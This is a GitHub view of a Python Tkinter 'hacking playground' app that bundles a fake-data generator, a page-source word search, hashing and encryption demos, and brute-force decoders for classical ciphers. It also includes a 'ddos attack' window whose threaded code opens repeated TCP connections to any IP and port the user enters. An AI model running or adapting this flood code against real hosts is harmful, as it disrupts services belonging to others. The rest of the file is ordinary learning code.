-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
390 lines (320 loc) · 13.9 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
from tkinter import *
from faker import Faker
import requests
from cryptography.fernet import Fernet
import hashlib
import string
from itertools import chain, combinations
from functools import reduce
import socket
import sys
import threading
languages = ['English', 'Italian', 'Hebrew', 'Japanese']
class myThread(threading.Thread):
def __init__(self, threadID, name, counter, ip, port, msg):
threading.Thread.__init__(self)
self.threadID = threadID
self.name = name
self.counter = counter
self.ip = ip
self.port = port
self.msg = msg
def run(self):
print("Starting " + self.name)
attack(self.ip, self.port, self.msg, self.threadID)
print("Exiting " + self.name)
def attack(ip, port, msg, thread_id):
# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect the socket to the port where the server is listening
server_address = (ip, port)
print(sys.stderr, 'connecting to %s port %s' % server_address)
sock.connect(server_address)
try:
# Send data
threadmsg = 'Thread-', thread_id, ':', msg
message = str.encode(str(threadmsg))
print(sys.stderr, 'thread-', thread_id, 'sending "%s"' % message)
sock.sendall(message)
# Look for the response
amount_received = 0
amount_expected = len(message)
while amount_received < amount_expected:
data = sock.recv(16)
amount_received += len(data)
print(sys.stderr, 'received "%s"' % data)
finally:
print(sys.stderr, 'closing socket')
sock.close()
def run_ddos_attack(ip, port, message, threads_number, attacks_number):
i = 0
# Create new threads
for idx in range(int(threads_number.get())):
thread = myThread(idx, f"Thread-{idx + 1}", idx, ip.get(), int(port.get()), message.get())
thread.start()
while i < int(attacks_number.get()):
# Start new Threads
thread.run()
i = i + 1
print("Exiting Main Thread")
def ddos_attack_window():
window = Toplevel(master)
window.geometry("500x500")
Label(window, text='Enter ip to attack', font=('calibre', 10, 'bold')).grid(row=0)
ip_text = StringVar()
Entry(window, textvariable=ip_text, font=('calibre', 10, 'normal')).grid(row=1)
Label(window, text='Enter port number', font=('calibre', 10, 'bold')).grid(row=2)
port_text = StringVar()
Entry(window, textvariable=port_text, font=('calibre', 10, 'normal')).grid(row=3)
Label(window, text='Enter message to send', font=('calibre', 10, 'bold')).grid(row=4)
message_text = StringVar()
Entry(window, textvariable=message_text, font=('calibre', 10, 'normal')).grid(row=5)
Label(window, text='Enter number of threads', font=('calibre', 10, 'bold')).grid(row=6)
threads_text = StringVar()
Entry(window, textvariable=threads_text, font=('calibre', 10, 'normal')).grid(row=7)
Label(window, text='Enter number of attacks to run', font=('calibre', 10, 'bold')).grid(row=8)
attacks_text = StringVar()
Entry(window, textvariable=attacks_text, font=('calibre', 10, 'normal')).grid(row=9)
Button(window, text='Start ddos attack',
command=lambda: run_ddos_attack(ip_text, port_text, message_text, threads_text, attacks_text)) \
.grid(row=10)
def powerset(iterable):
return chain.from_iterable(combinations(iterable, r) for r in range(len(iterable) + 1))
def encrypt_mssp(word, d, n, m, text):
word = word.get().split('\n')
tmp = word[-1].split('\r')
word[-1] = tmp[0]
word = ''.join(word)
split = [word[i:i + int(d.get())] for i in range(0, len(word), int(d.get()))]
lst = []
idx = 0
for _ in range(int(d.get())):
lst.append(split[idx:int(m.get()) + idx])
idx += int(m.get())
x = [[int(float(j)) for j in i] for i in lst]
lst = []
for val in x:
lst.append(list(powerset(val)))
for idx1, in_lst in enumerate(lst):
for idx, val in enumerate(in_lst):
lst[idx1][idx] = sum(val)
tmp = list(reduce(set.intersection, [set(item) for item in lst]))
if tmp[0] == 0:
text.insert(END, chars="None")
else:
tmp.remove(0)
text.insert(END, chars=tmp[0])
def mssp_cipher_window():
window = Toplevel(master)
window.geometry("500x500")
Label(window, text='word to cypher', font=('calibre', 10, 'bold')).grid(row=0)
word_text = StringVar()
Entry(window, textvariable=word_text, font=('calibre', 10, 'normal')).grid(row=1)
Label(window, text='enter d', font=('calibre', 10, 'bold')).grid(row=2)
d_text = StringVar()
Entry(window, textvariable=d_text, font=('calibre', 10, 'normal')).grid(row=3)
Label(window, text='enter n', font=('calibre', 10, 'bold')).grid(row=4)
n_text = StringVar()
Entry(window, textvariable=n_text, font=('calibre', 10, 'normal')).grid(row=5)
Label(window, text='enter m', font=('calibre', 10, 'bold')).grid(row=6)
m_text = StringVar()
Entry(window, textvariable=m_text, font=('calibre', 10, 'normal')).grid(row=7)
text_output = Text(window, height=60, width=60)
text_output.grid(row=9)
Button(window, text='encrypt text',
command=lambda: encrypt_mssp(word_text, d_text, n_text, m_text, text_output)).grid(row=8)
def encrypt_vizner(message, text_output):
text_output.delete('1.0', END)
letters = string.ascii_lowercase
for jump in range(0, 5):
for key in range(len(string.ascii_lowercase)):
translated = ''
for idx, symbol in enumerate(message.get()):
if symbol in letters:
num = letters.find(symbol)
num = num - (key + idx * jump)
if num < 0:
num = num + len(letters)
translated = translated + letters[num]
else:
translated = translated + symbol
text_output.insert(END, chars='offset #%s, jump #%s: %s\n' % (key, jump, translated))
# print(chars='Hacking key #%s: %s' % (key, translated))
def vizner_cipher_window():
window = Toplevel(master)
window.geometry("500x500")
Label(window, text='Choose ciphered word', font=('calibre', 10, 'bold')).grid(row=0)
word_text = StringVar()
Entry(window, textvariable=word_text, font=('calibre', 10, 'normal')).grid(row=4)
text_output = Text(window, height=60, width=60)
text_output.grid(row=6)
Button(window, text='encrypt text',
command=lambda: encrypt_vizner(word_text, text_output)).grid(row=5)
def encrypt_caesar(message, text_output):
text_output.delete('1.0', END)
letters = string.ascii_lowercase
for key in range(len(string.ascii_lowercase)):
translated = ''
for symbol in message.get():
if symbol in letters:
num = letters.find(symbol)
num = num - key
if num < 0:
num = num + len(letters)
translated = translated + letters[num]
else:
translated = translated + symbol
text_output.insert(END, chars='#%s: %s\n' % (key, translated))
# print(chars='Hacking key #%s: %s' % (key, translated))
def encrypt_caesar_window():
window = Toplevel(master)
window.geometry("500x500")
Label(window, text='Choose ciphered word', font=('calibre', 10, 'bold')).grid(row=0)
word_text = StringVar()
Entry(window, textvariable=word_text, font=('calibre', 10, 'normal')).grid(row=4)
text_output = Text(window, height=20, width=60)
text_output.grid(row=6)
Button(window, text='encrypt text',
command=lambda: encrypt_caesar(word_text, text_output)).grid(row=5)
def sha_256(word):
sha_signature = hashlib.sha256(word.encode()).hexdigest()
return sha_signature
def fernet(word):
key = Fernet.generate_key()
cipher_suite = Fernet(key)
cipher_text = cipher_suite.encrypt(word.encode())
plain_text = cipher_suite.decrypt(cipher_text)
return key, cipher_text, plain_text
def encrypt(name_word, cipher_entry, method):
cipher_entry.delete(0, END)
if method.get() == 0:
key, cipher_text, plain_text = fernet(name_word.get())
if method.get() == 1:
cipher_text = sha_256(name_word.get())
cipher_entry.insert(0, cipher_text)
def encrypt_window():
window = Toplevel(master)
window.geometry("1000x500")
method = IntVar()
Label(window, text='Choose hash function', font=('calibre', 10, 'bold')).grid(row=0)
Radiobutton(window,
text='fernet',
padx=20,
variable=method,
value='0').grid(row=1)
Radiobutton(window,
text='sha-256',
padx=20,
variable=method,
value='1').grid(row=2)
Label(window, text='enter word', font=('calibre', 10, 'bold')).grid(row=3)
cipher_text = StringVar()
word_text = StringVar()
Entry(window, textvariable=word_text, font=('calibre', 10, 'normal')).grid(row=4)
Label(window, text='Cipher text is:', font=('calibre', 10, 'bold')).grid(row=6)
cipher_entry = Entry(window, width=130, textvariable=cipher_text, font=('calibre', 10, 'normal'))
cipher_entry.grid(row=7)
Button(window, text='encrypt text',
command=lambda: encrypt(word_text, cipher_entry, method)).grid(row=5)
# text_source_code_url = Text(window, height=20, width=60)
# text_source_code_url.grid(row=4)
# Button(window, text='get source code',
# command=lambda: search_word(name_word, name_url, text_source_code_url)).grid(row=12)
def search_word(word, url, text):
text.config(state='normal')
text.delete('1.0', END)
word = word.get()
url = url.get()
response = requests.get(url)
data = response.text
lst = []
for i in range(0, len(data)):
result_sub = data.find(word, i, i + len(word))
if result_sub != -1:
lst.append(result_sub)
i += 5
text.insert(END, chars=f'the word {word}: found at index {list(map(lambda x: x, lst))} \n\n'
f'source code: \n {data}')
text.config(state=DISABLED)
def search_word_window():
window = Toplevel(master)
Label(window, text='enter url', font=('calibre', 10, 'bold')).grid(row=0)
name_url = StringVar()
Label(window, text='enter word to search', font=('calibre', 10, 'bold')).grid(row=2)
name_word = StringVar()
name_entry = Entry(window, textvariable=name_url, font=('calibre', 10, 'normal')).grid(row=1)
name_entry = Entry(window, textvariable=name_word, font=('calibre', 10, 'normal')).grid(row=3)
text_source_code_url = Text(window, height=20, width=60)
text_source_code_url.grid(row=4)
Button(window, text='get source code',
command=lambda: search_word(name_word, name_url, text_source_code_url)).grid(row=12)
def generate_fake_data(lang, text):
text.config(state='normal')
text.delete('1.0', END)
user_input = lang.get()
if user_input == 1:
fake = Faker('it_IT')
elif user_input == 2:
fake = Faker('he_IL')
elif user_input == 3:
fake = Faker('jp_JP')
else: # English
fake = Faker()
text.insert(END, chars=f'fake email: {fake.email()} \n'
f'fake name: {fake.name()} \n'
f'fake url: {fake.url()} \n'
f'fake text: {fake.text()} \n'
f'fake country: {fake.country()} \n')
text.config(state=DISABLED)
def fake_data_window():
window = Toplevel(master)
Label(window, text='select language').grid(row=0)
text = Text(window, height=20, width=60)
text.grid(row=6)
language_input = IntVar()
for index, language in enumerate(languages): # languages radio buttons
Radiobutton(window,
text=language,
padx=20,
variable=language_input,
value=str(index)).grid(row=index + 1)
Button(window, text='Generate fake data',
command=lambda: generate_fake_data(language_input, text)).grid(row=5)
window.geometry("600x700")
window.mainloop()
if __name__ == '__main__':
master = Tk()
master.geometry("370x500")
label = Label(master,
text="Hacking playground ", font='Helvetica 18 bold',
)
label.pack(pady=10)
btn = Button(master,
text="Fake data generator", font='Helvetica 10 bold',
command=fake_data_window, bg='#45b592')
btn.pack(pady=10)
btn = Button(master,
text="Search word in source code", font='Helvetica 10 bold',
command=search_word_window, bg='#45b592')
btn.pack(pady=10)
btn = Button(master,
text="Farnet & sha-256",font='Helvetica 10 bold',
command=encrypt_window, bg='#45b592')
btn.pack(pady=10)
btn = Button(master,
text="Caesar cipher",font='Helvetica 10 bold',
command=encrypt_caesar_window, bg='#45b592')
btn.pack(pady=10)
btn = Button(master,
text="vigenere cipher",font='Helvetica 10 bold',
command=vizner_cipher_window, bg='#45b592')
btn.pack(pady=10)
btn = Button(master,
text="mssp cipher",font='Helvetica 10 bold',
command=mssp_cipher_window, bg='#45b592')
btn.pack(pady=10)
btn = Button(master,
text="ddos attack",font='Helvetica 10 bold',
command=ddos_attack_window, bg='#45b592')
btn.pack(pady=10)
mainloop()